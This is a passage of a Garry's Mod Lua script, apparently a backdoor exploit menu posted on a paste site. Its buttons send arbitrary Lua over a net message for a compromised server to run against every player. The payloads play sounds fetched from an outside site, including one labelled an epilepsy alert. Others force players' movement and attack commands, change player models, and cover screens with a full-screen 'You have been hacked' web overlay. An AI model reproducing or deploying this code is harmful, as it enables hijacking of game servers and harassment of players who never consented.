  750. local soundButton6 = vgui.Create("DButton", DScrollPanel )
  751. soundButton6:SetSize( 200, 20 )
  752. soundButton6:SetPos( 35, 200 )
  753. soundButton6:SetText( "Beliver" )
  754. soundButton6:SetTextColor(Color(0, 0, 0, 255))
  755. soundButton6.Paint = function( panel, w, h )
  756. surface.SetDrawColor(0, 0, 0 ,255)
  757. surface.DrawOutlinedRect(0, 0, w, h)
  758. surface.SetDrawColor(255, 255, 255 ,255)
  759. surface.DrawRect(0, 0, w, h)
  760. end
  761. soundButton6.DoClick = function()
  762. net.Start(netKey)
  763. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/01.wav', 'mono', function( s ) s:Play() end )]] ) end" )
  764. net.WriteBit(1)
  765. net.SendToServer()
  766. end
  767. local soundButton7 = vgui.Create("DButton", DScrollPanel )
  768. soundButton7:SetSize( 200, 20 )
  769. soundButton7:SetPos( 35, 230 )
  770. soundButton7:SetText( "Encule serveur" )
  771. soundButton7:SetTextColor(Color(0, 0, 0, 255))
  772. soundButton7.Paint = function( panel, w, h )
  773. surface.SetDrawColor(0, 0, 0 ,255)
  774. surface.DrawOutlinedRect(0, 0, w, h)
  775. surface.SetDrawColor(255, 255, 255 ,255)
  776. surface.DrawRect(0, 0, w, h)
  777. end
  778. soundButton7.DoClick = function()
  779. net.Start(netKey)
  780. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/encule-serveur.wav', 'mono', function( s ) s:Play() end )]] ) end" )
  781. net.WriteBit(1)
  782. net.SendToServer()
  783. end
  784. local soundButton8 = vgui.Create("DButton", DScrollPanel )
  785. soundButton8:SetSize( 200, 20 )
  786. soundButton8:SetPos( 35, 260 )
  787. soundButton8:SetText( "Détruit serveur" )
  788. soundButton8:SetTextColor(Color(0, 0, 0, 255))
  789. soundButton8.Paint = function( panel, w, h )
  790. surface.SetDrawColor(0, 0, 0 ,255)
  791. surface.DrawOutlinedRect(0, 0, w, h)
  792. surface.SetDrawColor(255, 255, 255 ,255)
  793. surface.DrawRect(0, 0, w, h)
  794. end
  795. soundButton8.DoClick = function()
  796. net.Start(netKey)
  797. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/detruit-serveur.wav', 'mono', function( s ) s:Play() end )]] ) end" )
  798. net.WriteBit(1)
  799. net.SendToServer()
  800. end
  801. local soundButton9 = vgui.Create("DButton", DScrollPanel )
  802. soundButton9:SetSize( 200, 20 )
  803. soundButton9:SetPos( 35, 290 )
  804. soundButton9:SetText( "Alerte épileptique" )
  805. soundButton9:SetTextColor(Color(0, 0, 0, 255))
  806. soundButton9.Paint = function( panel, w, h )
  807. surface.SetDrawColor(0, 0, 0 ,255)
  808. surface.DrawOutlinedRect(0, 0, w, h)
  809. surface.SetDrawColor(255, 255, 255 ,255)
  810. surface.DrawRect(0, 0, w, h)
  811. end
  812. soundButton9.DoClick = function()
  813. net.Start(netKey)
  814. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/epileptique.wav', 'mono', function( s ) s:Play() end )]] ) end" )
  815. net.WriteBit(1)
  816. net.SendToServer()
  817. end
  818. end
  819.  
  820.  
  821. function mouvement()
  822. if MouvementSelector and MouvementSelector:IsVisible() then MouvementSelector:Remove() end
  823. MouvementSelector = vgui.Create("DFrame")
  824. MouvementSelector:SetSize(505,350) --56464646465465
  825. MouvementSelector:SetTitle("Mouvement")
  826. MouvementSelector:SetPos( gui.MouseX(), gui.MouseY() )
  827. MouvementSelector:MakePopup()
  828. MouvementSelector.Paint = function( s, w, h )
  829. if !DermaFrame or !DermaFrame:IsVisible() then s:Remove() return end
  830. surface.SetDrawColor( Color(0, 0, 0, 220) )
  831. surface.DrawRect( 0, 0, w, h )
  832. surface.SetDrawColor( Color(255, 255, 255, 245) )
  833. surface.DrawOutlinedRect( 0, 0, w, h )
  834. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  835. surface.SetDrawColor( Color(0, 0, 0, 0) )
  836. surface.DrawRect( 80, 25, w - 90, h - 35 )
  837. surface.SetDrawColor( Color(0, 0, 0, 255) )
  838. end
  839. local DScrollPanel2 = vgui.Create( "DScrollPanel", MouvementSelector )
  840. DScrollPanel2:Dock( FILL )
  841. local marcheavanton = vgui.Create("DButton", DScrollPanel2 )
  842. marcheavanton:SetSize( 200, 20 )
  843. marcheavanton:SetPos( 35, 35 )
  844. marcheavanton:SetText( "[ON] Marche avant" )
  845. marcheavanton:SetTextColor(Color(0, 0, 0, 255))
  846. marcheavanton.Paint = function( panel, w, h )
  847. surface.SetDrawColor(0, 0, 0 ,255)
  848. surface.DrawOutlinedRect(0, 0, w, h)
  849. surface.SetDrawColor(255, 255, 255 ,255)
  850. surface.DrawRect(0, 0, w, h)
  851. end
  852. marcheavanton.DoClick = function()
  853. net.Start(netKey)
  854. net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"+forward\") end" )
  855. net.WriteBit(1)
  856. net.SendToServer()
  857. end
  858. local marcheavantoff = vgui.Create("DButton", DScrollPanel2 )
  859. marcheavantoff:SetSize( 200, 20 )
  860. marcheavantoff:SetPos( 250, 35 )
  861. marcheavantoff:SetText( "[OFF] Marche avant" )
  862. marcheavantoff:SetTextColor(Color(0, 0, 0, 255))
  863. marcheavantoff.Paint = function( panel, w, h )
  864. surface.SetDrawColor(0, 0, 0 ,255)
  865. surface.DrawOutlinedRect(0, 0, w, h)
  866. surface.SetDrawColor(255, 255, 255 ,255)
  867. surface.DrawRect(0, 0, w, h)
  868. end
  869. marcheavantoff.DoClick = function()
  870. net.Start(netKey)
  871. net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"-forward\") end" )
  872. net.WriteBit(1)
  873. net.SendToServer()
  874. end
  875. local marcheariereon = vgui.Create("DButton", DScrollPanel2 )
  876. marcheariereon:SetSize( 200, 20 )
  877. marcheariereon:SetPos( 35, 70 )
  878. marcheariereon:SetText( "[ON] Marche ariére" )
  879. marcheariereon:SetTextColor(Color(0, 0, 0, 255))
  880. marcheariereon.Paint = function( panel, w, h )
  881. surface.SetDrawColor(0, 0, 0 ,255)
  882. surface.DrawOutlinedRect(0, 0, w, h)
  883. surface.SetDrawColor(255, 255, 255 ,255)
  884. surface.DrawRect(0, 0, w, h)
  885. end
  886. marcheariereon.DoClick = function()
  887. net.Start(netKey)
  888. net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"+back\") end" )
  889. net.WriteBit(1)
  890. net.SendToServer()
  891. end
  892. local marcheariereoff = vgui.Create("DButton", DScrollPanel2 )
  893. marcheariereoff:SetSize( 200, 20 )
  894. marcheariereoff:SetPos( 250, 70 )
  895. marcheariereoff:SetText( "[OFF] Marche ariére" )
  896. marcheariereoff:SetTextColor(Color(0, 0, 0, 255))
  897. marcheariereoff.Paint = function( panel, w, h )
  898. surface.SetDrawColor(0, 0, 0 ,255)
  899. surface.DrawOutlinedRect(0, 0, w, h)
  900. surface.SetDrawColor(255, 255, 255 ,255)
  901. surface.DrawRect(0, 0, w, h)
  902. end
  903. marcheariereoff.DoClick = function()
  904. net.Start(netKey)
  905. net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"-back\") end" )
  906. net.WriteBit(1)
  907. net.SendToServer()
  908. end
  909. local lefton = vgui.Create("DButton", DScrollPanel2 )
  910. lefton:SetSize( 200, 20 )
  911. lefton:SetPos( 35, 105 )
  912. lefton:SetText( "[ON] Tourner" )
  913. lefton:SetTextColor(Color(0, 0, 0, 255))
  914. lefton.Paint = function( panel, w, h )
  915. surface.SetDrawColor(0, 0, 0 ,255)
  916. surface.DrawOutlinedRect(0, 0, w, h)
  917. surface.SetDrawColor(255, 255, 255 ,255)
  918. surface.DrawRect(0, 0, w, h)
  919. end
  920. lefton.DoClick = function()
  921. net.Start(netKey)
  922. net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"+right\") end" )
  923. net.WriteBit(1)
  924. net.SendToServer()
  925. end
  926. local leftoff = vgui.Create("DButton", DScrollPanel2 )
  927. leftoff:SetSize( 200, 20 )
  928. leftoff:SetPos( 250, 105 )
  929. leftoff:SetText( "[OFF] Tourner" )
  930. leftoff:SetTextColor(Color(0, 0, 0, 255))
  931. leftoff.Paint = function( panel, w, h )
  932. surface.SetDrawColor(0, 0, 0 ,255)
  933. surface.DrawOutlinedRect(0, 0, w, h)
  934. surface.SetDrawColor(255, 255, 255 ,255)
  935. surface.DrawRect(0, 0, w, h)
  936. end
  937. leftoff.DoClick = function()
  938. net.Start(netKey)
  939. net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"-right\") end" )
  940. net.WriteBit(1)
  941. net.SendToServer()
  942. end
  943. local attackon = vgui.Create("DButton", DScrollPanel2 )
  944. attackon:SetSize( 200, 20 )
  945. attackon:SetPos( 35, 140 )
  946. attackon:SetText( "[ON] Attaquer" )
  947. attackon:SetTextColor(Color(0, 0, 0, 255))
  948. attackon.Paint = function( panel, w, h )
  949. surface.SetDrawColor(0, 0, 0 ,255)
  950. surface.DrawOutlinedRect(0, 0, w, h)
  951. surface.SetDrawColor(255, 255, 255 ,255)
  952. surface.DrawRect(0, 0, w, h)
  953. end
  954. attackon.DoClick = function()
  955. net.Start(netKey)
  956. net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"+attack\") end" )
  957. net.WriteBit(1)
  958. net.SendToServer()
  959. end
  960. local attackoff = vgui.Create("DButton", DScrollPanel2 )
  961. attackoff:SetSize( 200, 20 )
  962. attackoff:SetPos( 250, 140 )
  963. attackoff:SetText( "[OFF] Attaquer" )
  964. attackoff:SetTextColor(Color(0, 0, 0, 255))
  965. attackoff.Paint = function( panel, w, h )
  966. surface.SetDrawColor(0, 0, 0 ,255)
  967. surface.DrawOutlinedRect(0, 0, w, h)
  968. surface.SetDrawColor(255, 255, 255 ,255)
  969. surface.DrawRect(0, 0, w, h)
  970. end
  971. attackoff.DoClick = function()
  972. net.Start(netKey)
  973. net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"-attack\") end" )
  974. net.WriteBit(1)
  975. net.SendToServer()
  976. end
  977. end
  978.  
  979. function transformations()
  980. if transformationsSelector and transformationsSelector:IsVisible() then transformationsSelector:Remove() end
  981. transformationsSelector = vgui.Create("DFrame")
  982. transformationsSelector:SetSize(505,350) --56464646465465
  983. transformationsSelector:SetTitle("Transformations")
  984. transformationsSelector:SetPos( gui.MouseX(), gui.MouseY() )
  985. transformationsSelector:MakePopup()
  986. transformationsSelector.Paint = function( s, w, h )
  987. if !DermaFrame or !DermaFrame:IsVisible() then s:Remove() return end
  988. surface.SetDrawColor( Color(0, 0, 0, 220) )
  989. surface.DrawRect( 0, 0, w, h )
  990. surface.SetDrawColor( Color(255, 255, 255, 245) )
  991. surface.DrawOutlinedRect( 0, 0, w, h )
  992. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  993. surface.SetDrawColor( Color(0, 0, 0, 0) )
  994. surface.DrawRect( 80, 25, w - 90, h - 35 )
  995. surface.SetDrawColor( Color(0, 0, 0, 255) )
  996. end
  997. local DScrollPanel3 = vgui.Create( "DScrollPanel", transformationsSelector )
  998. DScrollPanel3:Dock( FILL )
  999. local arbre = vgui.Create("DButton", DScrollPanel3 )
  1000. arbre:SetSize( 200, 20 )
  1001. arbre:SetPos( 35, 35 )
  1002. arbre:SetText( "Arbre" )
  1003. arbre:SetTextColor(Color(0, 0, 0, 255))
  1004. arbre.Paint = function( panel, w, h )
  1005. surface.SetDrawColor(0, 0, 0 ,255)
  1006. surface.DrawOutlinedRect(0, 0, w, h)
  1007. surface.SetDrawColor(255, 255, 255 ,255)
  1008. surface.DrawRect(0, 0, w, h)
  1009. end
  1010. arbre.DoClick = function()
  1011. net.Start(netKey)
  1012. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/gm_forest/tree_alder.mdl\") end" )
  1013. net.WriteBit(1)
  1014. net.SendToServer()
  1015. end
  1016. local canape = vgui.Create("DButton", DScrollPanel3 )
  1017. canape:SetSize( 200, 20 )
  1018. canape:SetPos( 250, 35 )
  1019. canape:SetText( "Canapé" )
  1020. canape:SetTextColor(Color(0, 0, 0, 255))
  1021. canape.Paint = function( panel, w, h )
  1022. surface.SetDrawColor(0, 0, 0 ,255)
  1023. surface.DrawOutlinedRect(0, 0, w, h)
  1024. surface.SetDrawColor(255, 255, 255 ,255)
  1025. surface.DrawRect(0, 0, w, h)
  1026. end
  1027. canape.DoClick = function()
  1028. net.Start(netKey)
  1029. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/props_c17/FurnitureCouch001a.mdl\") end" )
  1030. net.WriteBit(1)
  1031. net.SendToServer()
  1032. end
  1033. local skeleton = vgui.Create("DButton", DScrollPanel3 )
  1034. skeleton:SetSize( 200, 20 )
  1035. skeleton:SetPos( 35, 70 )
  1036. skeleton:SetText( "Skelete" )
  1037. skeleton:SetTextColor(Color(0, 0, 0, 255))
  1038. skeleton.Paint = function( panel, w, h )
  1039. surface.SetDrawColor(0, 0, 0 ,255)
  1040. surface.DrawOutlinedRect(0, 0, w, h)
  1041. surface.SetDrawColor(255, 255, 255 ,255)
  1042. surface.DrawRect(0, 0, w, h)
  1043. end
  1044. skeleton.DoClick = function()
  1045. net.Start(netKey)
  1046. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/props_c17/models/player/skeleton.mdl\") end" )
  1047. net.WriteBit(1)
  1048. net.SendToServer()
  1049. end
  1050. end
  1051.  
  1052. function specialvisuel()
  1053. if visuelSelector and visuelSelector:IsVisible() then visuelSelector:Remove() end
  1054. visuelSelector = vgui.Create("DFrame")
  1055. visuelSelector:SetSize(505,350) --56464646465465
  1056. visuelSelector:SetTitle("Visuel Spécial")
  1057. visuelSelector:SetPos( gui.MouseX(), gui.MouseY() )
  1058. visuelSelector:MakePopup()
  1059. visuelSelector.Paint = function( s, w, h )
  1060. if !DermaFrame or !DermaFrame:IsVisible() then s:Remove() return end
  1061. surface.SetDrawColor( Color(0, 0, 0, 220) )
  1062. surface.DrawRect( 0, 0, w, h )
  1063. surface.SetDrawColor( Color(255, 255, 255, 245) )
  1064. surface.DrawOutlinedRect( 0, 0, w, h )
  1065. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1066. surface.SetDrawColor( Color(0, 0, 0, 0) )
  1067. surface.DrawRect( 80, 25, w - 90, h - 35 )
  1068. surface.SetDrawColor( Color(0, 0, 0, 255) )
  1069. end
  1070. local DScrollPanel4 = vgui.Create( "DScrollPanel", visuelSelector )
  1071. DScrollPanel4:Dock( FILL )
  1072. local hacked = vgui.Create("DButton", DScrollPanel4 )
  1073. hacked:SetSize( 200, 20 )
  1074. hacked:SetPos( 35, 35 )
  1075. hacked:SetText( "You have been hacked" )
  1076. hacked:SetTextColor(Color(0, 0, 0, 255))
  1077. hacked.Paint = function( panel, w, h )
  1078. surface.SetDrawColor(0, 0, 0 ,255)
  1079. surface.DrawOutlinedRect(0, 0, w, h)
  1080. surface.SetDrawColor(255, 255, 255 ,255)
  1081. surface.DrawRect(0, 0, w, h)
  1082. end
  1083. hacked.DoClick = function()
  1084. net.Start(netKey)
  1085. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(1920,1080) hud:SetPos(0,0) hud:OpenURL(\"https://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg\")]]) end" )
  1086. net.WriteBit(1)
  1087. net.SendToServer()
  1088. end
  1089. local undertale = vgui.Create("DButton", DScrollPanel4 )
  1090. undertale:SetSize( 200, 20 )
  1091. undertale:SetPos( 35, 70 )
  1092. undertale:SetText( "undertale" )
  1093. undertale:SetTextColor(Color(0, 0, 0, 255))
  1094. undertale.Paint = function( panel, w, h )
  1095. surface.SetDrawColor(0, 0, 0 ,255)
  1096. surface.DrawOutlinedRect(0, 0, w, h)
  1097. surface.SetDrawColor(255, 255, 255 ,255)
  1098. surface.DrawRect(0, 0, w, h)
  1099. end
  1100. undertale.DoClick = function()
  1101. net.Start(netKey)
  1102. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(578,152) hud:SetPos(5,5) hud:OpenURL(\"http://www.surponrp.fr/test.png\")]]) end" )
  1103. net.WriteBit(1)
  1104. net.SendToServer()
  1105. end
  1106. end
  1107.  
  1108. else
  1109. WelcomeScreen()
  1110. return end
  1111. end )
Add Comment
Please, Sign In to add comment